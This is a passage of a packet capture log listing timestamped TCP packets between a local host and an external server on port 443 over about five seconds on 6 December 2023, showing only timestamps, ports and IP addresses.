Dec 6, 2023 14:51:57.841408968 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.841444016 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.841475010 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.841492891 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.841521978 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.903429985 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.903465033 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.903650045 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.903666973 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.903788090 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.056833982 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.056915998 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.057183981 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.057219028 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.057301044 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.082731962 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.082796097 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.082995892 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.083018064 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.083142042 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.235837936 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.235877037 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.236155987 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.236201048 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.236260891 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.262350082 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.262419939 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.262613058 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.262636900 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.262692928 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.381758928 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.381823063 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.381856918 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.381870985 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.381906033 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.381947994 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.441653967 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.441684961 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.441756964 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.441780090 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.441806078 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.441828966 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.561992884 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.562067986 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.562134981 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.562154055 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.562180996 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.562205076 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.620944023 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.621016979 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.621117115 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.621134043 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.621150970 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.621191978 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.741864920 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.741935015 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.742094040 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.742106915 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.742221117 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.774066925 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.774137020 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.774234056 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.774240971 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.774272919 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.774295092 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.848279953 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.848345041 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.848495007 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.848510981 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.848619938 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.952827930 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.952894926 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.953013897 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.953030109 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.953130007 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.981934071 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.982001066 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.982105970 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:58.982122898 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:58.982312918 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.104805946 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.104840040 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.104887009 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.104904890 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.104917049 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.104954958 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.163398981 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.163464069 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.163593054 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.163593054 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.163602114 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.163683891 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.283987045 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.284059048 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.284223080 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.284223080 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.284235954 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.284280062 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.342771053 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.342842102 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.342993021 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.343003035 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.343053102 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.422987938 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.423021078 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.423069954 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.423079014 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.423125029 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.490885973 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.490914106 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.491079092 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.491097927 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.491148949 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.564232111 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.564265013 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.564430952 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.564444065 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.564483881 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.669723988 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.669785023 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.669945002 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.669965982 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.670018911 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.703602076 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.703634977 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.703730106 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.703741074 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.703799963 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.824342012 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.824373007 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.824556112 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.824573040 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.824767113 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.882586002 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.882613897 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.883040905 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:59.883055925 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:59.883647919 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.003823996 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.003853083 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.003943920 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.003961086 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.004007101 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.061992884 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.062015057 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.062175989 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.062186003 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.062288046 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.144324064 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.144376993 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.144531965 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.144543886 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.144639015 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.241647959 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.241700888 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.241791010 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.241808891 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.241899014 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.282037020 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.282074928 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.282288074 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.282299995 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.282350063 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.390307903 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.390345097 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.390603065 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.390615940 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.390947104 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.422012091 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.422086000 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.422187090 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.422187090 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.422199011 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.423122883 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.569874048 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.569938898 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.570039988 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.570053101 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.570099115 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.570099115 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.601042032 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.601109982 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.601221085 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.601227999 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.601280928 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.601280928 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.721324921 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.721426010 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.721545935 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.721545935 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.721556902 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.721668959 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.781743050 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.781862974 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.781971931 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.781984091 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.782490015 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.822447062 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.822514057 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.822629929 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.822649002 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.822712898 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.928446054 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.928566933 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.928689003 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.928710938 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.928813934 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.964183092 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.964253902 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.964345932 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.964365959 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:00.964401007 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:00.964440107 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.107872963 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.107935905 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.108329058 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.108361959 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.108449936 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.142828941 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.142894030 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.143217087 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.143249989 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.143357038 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.220921993 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.220993996 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.221400976 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.221424103 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.221508026 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.322958946 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.323033094 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.323249102 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.323270082 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.323466063 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.323466063 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.361838102 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.361907959 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.362118959 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.362118959 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.362131119 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.362174034 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.468034029 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.468106985 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.468260050 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.468283892 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.468365908 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.503175974 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.503248930 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.503323078 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.503330946 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.503520966 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.581864119 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.581928968 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.581984043 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.581990957 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.582050085 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.682038069 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.682130098 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.682132006 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.682158947 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.682187080 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.682215929 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.721878052 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.721941948 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.722059965 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.722083092 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.722197056 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.826777935 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.826842070 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.826905012 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.826915026 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.826976061 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.862086058 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.862152100 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.862312078 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.862319946 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.862447977 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.941068888 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.941140890 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.941234112 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:01.941243887 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:01.941375971 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.006110907 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.006184101 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.006352901 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.006362915 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.006582022 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.081038952 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.081070900 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.081409931 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.081425905 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.081518888 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.161454916 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.161509991 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.161653042 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.161660910 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.161788940 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.221019983 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.221093893 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.221118927 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.221134901 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.221160889 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.221188068 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.262310028 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.262378931 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.262415886 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.262428045 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.262466908 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.262487888 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.364654064 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.364752054 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.364753962 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.364785910 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.364821911 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.364854097 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.401978970 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.402045965 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.402127981 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.402143002 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.402179956 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.402204990 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.482753992 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.482824087 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.482857943 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.482872963 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.482932091 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.544100046 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.544167042 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.544204950 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.544218063 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.544254065 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.544276953 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.583906889 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.583971024 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.584007025 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.584016085 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.584062099 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.704674959 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.704783916 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:52:02.704830885 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:52:02.704849005 CET	443	49717	185.23.108.224	192.168.2.5
